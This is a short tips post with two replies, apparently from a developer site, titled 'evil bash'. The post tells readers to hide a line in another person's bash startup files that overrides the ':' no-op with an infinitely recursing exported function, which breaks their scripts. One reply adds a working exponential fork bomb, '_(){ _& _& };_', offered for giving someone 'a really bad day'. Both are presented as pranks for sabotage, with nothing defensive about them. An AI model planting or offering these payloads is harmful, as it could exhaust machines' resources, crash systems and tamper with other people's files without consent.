Last Updated: February 25, 2016
·
1.351K
· nickjacob

evil bash

if you really want to mess with someone's shell scripts, hide this somewhere in one of their bash startup files...

:(){ :; }; export -f ":"

Assuming they use the : noop anywhere. Explanation: define and export a function that overrides the : noop...the function recurses infinitely.

2 Responses
Add your response

Probably it can be done in any shell not only bash. So probably good titile will be Fork Bomb

over 1 year ago ·

Easily killed with a Ctrl-C. You want something exponential:
_(){ _& _& };_
If you want to give someone a really bad day.

over 1 year ago ·